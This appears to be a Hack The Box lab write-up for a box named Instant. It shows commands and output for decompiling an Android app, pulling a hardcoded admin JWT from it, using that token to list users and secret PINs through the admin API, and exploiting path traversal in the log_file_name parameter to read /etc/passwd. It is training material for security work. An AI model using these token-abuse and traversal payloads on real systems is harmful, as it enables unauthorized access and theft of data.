Web
Nmap discovered a Web server on the target port 80
The running service is
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -I http://$IP
HTTP/1.1 301 Moved Permanently
Date: Sat, 12 Oct 2024 19:03:59 GMT
Server: Apache/2.4.58 (Ubuntu)
Location: http://instant.htb/
Content-Type: text/html; charset=iso-8859-1
301
to a domain; instant.htb
The domain information has been appended to the
/etc/hosts
on Kali for local DNS resolution
Webroot
It features a electronic funds transfer solution
The website is static, featuring a dedicated application
Downloading the apk file
APK File
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ file instant.apk
instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block
Downloaded file is a signed APK file
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ apktool d instant.apk
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ cd instant ; ll
total 48K
4.0K -rw-rw-r-- 1 kali kali 2.6K Oct 12 21:15 apktool.yml
4.0K drwxrwxr-x 10 kali kali 4.0K Oct 12 21:15 .
4.0K drwxrwxr-x 3 kali kali 4.0K Oct 12 21:15 META-INF
4.0K drwxrwxr-x 3 kali kali 4.0K Oct 12 21:15 original
4.0K drwxrwxr-x 3 kali kali 4.0K Oct 12 21:15 unknown
4.0K drwxrwxr-x 8 kali kali 4.0K Oct 12 21:15 kotlin
4.0K drwxrwxr-x 6 kali kali 4.0K Oct 12 21:15 lib
4.0K drwxrwxr-x 3 kali kali 4.0K Oct 12 21:15 assets
4.0K drwxrwxr-x 11 kali kali 4.0K Oct 12 21:15 smali
4.0K drwxrwxr-x 140 kali kali 4.0K Oct 12 21:15 res
4.0K -rw-rw-r-- 1 kali kali 3.6K Oct 12 21:15 AndroidManifest.xml
4.0K drwxrwxr-x 4 kali kali 4.0K Oct 12 21:15 ..
Unpackaging the instant.apk
file using apktool reveals the internal components
Checking the
res/xml/network_security_config.xml
file reveals 2 sub-domains;
mywalletv1.instant.htb
swagger-ui.instant.htb
API
The
/etc/hosts
file on Kali has been updated
The mywalletv1.instant.htb
sub-domain appears to be the API endpoint, while the swagger-ui.instant.htb
seems to be the swagger endpoint for the API endpoint
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -I http://mywalletv1.instant.htb/
HTTP/1.1 404 NOT FOUND
Date: Sat, 12 Oct 2024 20:09:25 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: text/html; charset=utf-8
Content-Length: 207
404
Swagger works. Redirected to
/apidoc
There is all the API endpoints
Admin features are likely locked behind authentication. I will try out the registration API endpoint
Registration / Authentication
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/register \
-H 'Content-Type: application/json' \
-d '{"email": "test@test", "password": "qwe123", "pin": "12345", "username": "test"}'
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 20:20:41 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 59
{"Description":"User Registered! Login Now!","Status":201}
Registered
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/login \
-H 'Content-Type: application/json' \
-d '{"username": "test", "password": "qwe123"}'
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 20:22:15 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 237
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjRhYTRlYmEwLTcxNzEtNGQ5Mi1hMmQ1LTQ1ZmIyM2QzMzQ5MiIsImV4cCI6MTcyODc2ODEzNX0.ecDfhFrBlJVdchykB9cyQNxK92O1i-H7z8yqhBc35D8","Status":201}
Successfully authenticated and given a JWT
The role is set to
instantian
Admin JWT
┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ grep -r 'ey' .
[...REDACTED...]
./smali/com/instantlabs/instant/AdminActivities.smali: const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
[...REDACTED...]
I can search for JWT by setting the search string, starting with ey
, within the decompiled APK directory
┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ cat ./smali/com/instantlabs/instant/AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"
# direct methods
.method public constructor <init>()V
.locals 0
.line 19
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method private TestAdminAuthorization()Ljava/lang/String;
.locals 4
.line 22
new-instance v0, Lokhttp3/OkHttpClient;
invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V
.line 23
new-instance v1, Lokhttp3/Request$Builder;
invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V
const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
.line 24
invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
const-string v2, "Authorization"
const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
.line 25
invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
.line 26
invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
move-result-object v1
.line 27
invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
move-result-object v0
new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;
invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V
invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V
const-string v0, "Done"
return-object v0
.end method
It reveals what appears to be the admin JWT; eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] id = 1
[+] role = "Admin"
[+] walId = "f0eca6e5-783a-471d-9d8f-0162cbc900db"
[+] exp = 33259303656 ==> TIMESTAMP = 3023-12-12 16:27:36 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
The role
parameter is set to Admin
I can now perform admin-specific action by making a request to those API endpoints above
Admin API
It turns out the admin JWT header is
Authorization
. Not Access-Token
.
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -s http://mywalletv1.instant.htb/api/v1/admin/list/users \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' | jq
{
"Status": 200,
"Users": [
{
"email": "admin@instant.htb",
"role": "Admin",
"secret_pin": 87348,
"status": "active",
"username": "instantAdmin",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
{
"email": "shirohige@instant.htb",
"role": "instantian",
"secret_pin": 42845,
"status": "active",
"username": "shirohige",
"wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
},
{
"email": "test@test",
"role": "instantian",
"secret_pin": 12345,
"status": "active",
"username": "test",
"wallet_id": "4aa4eba0-7171-4d92-a2d5-45fb23d33492"
}
]
}
The existing user is shirohige
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/admin/view/logs \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 20:59:49 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 64
{"Files":["1.log"],"Path":"/home/shirohige/logs/","Status":201}
Checking the available log files reveals that there is a single log file; /home/shirohige/logs/1.log
This confirms that the shirohige
user is a valid system user
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 21:02:58 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 79
{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}
Reading the log file requires providing the parameter, log_file_name
, to the /api/v1/admin/read/log
API endpoint
LFI
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -s 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../etc/passwd' \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' | jq
{
"/home/shirohige/logs/../../../../etc/passwd": [
"root:x:0:0:root:/root:/bin/bash\n",
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n",
"bin:x:2:2:bin:/bin:/usr/sbin/nologin\n",
"sys:x:3:3:sys:/dev:/usr/sbin/nologin\n",
"sync:x:4:65534:sync:/bin:/bin/sync\n",
"games:x:5:60:games:/usr/games:/usr/sbin/nologin\n",
"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n",
"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n",
"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n",
"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n",
"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n",
"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n",
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n",
"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n",
"list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n",
"irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n",
"_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n",
"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n",
"systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n",
"systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n",
"dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\n",
"messagebus:x:101:102::/nonexistent:/usr/sbin/nologin\n",
"systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\n",
"pollinate:x:102:1::/var/cache/pollinate:/bin/false\n",
"polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\n",
"usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n",
"sshd:x:104:65534::/run/sshd:/usr/sbin/nologin\n",
"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
"_laurel:x:999:990::/var/log/laurel:/bin/false\n"
],
"Status": 201
}
LFI confirmed at the log_file_name
parameter
Fuzzing
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -t 200 -u http://instant.htb/FUZZ -ic
________________________________________________
:: Method : GET
:: URL : http://instant.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 217ms]
.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 317ms]
css [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 84ms]
downloads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 383ms]
img [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 93ms]
javascript [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 79ms]
js [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 58ms]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 63ms]
:: Progress: [20476/20476] :: Job [1/1] :: 2100 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
N/A
Virtual Hosts / Sub-domain Discovery
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$IP/ -H 'Host: FUZZ.instant.htb' -ic -mc all -fw 20
________________________________________________
:: Method : GET
:: URL : http://10.129.210.105/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.instant.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 20
________________________________________________
:: Progress: [114437/114437] :: Job [1/1] :: 662 req/sec :: Duration: [0:01:50] :: Errors: 0 ::
N/A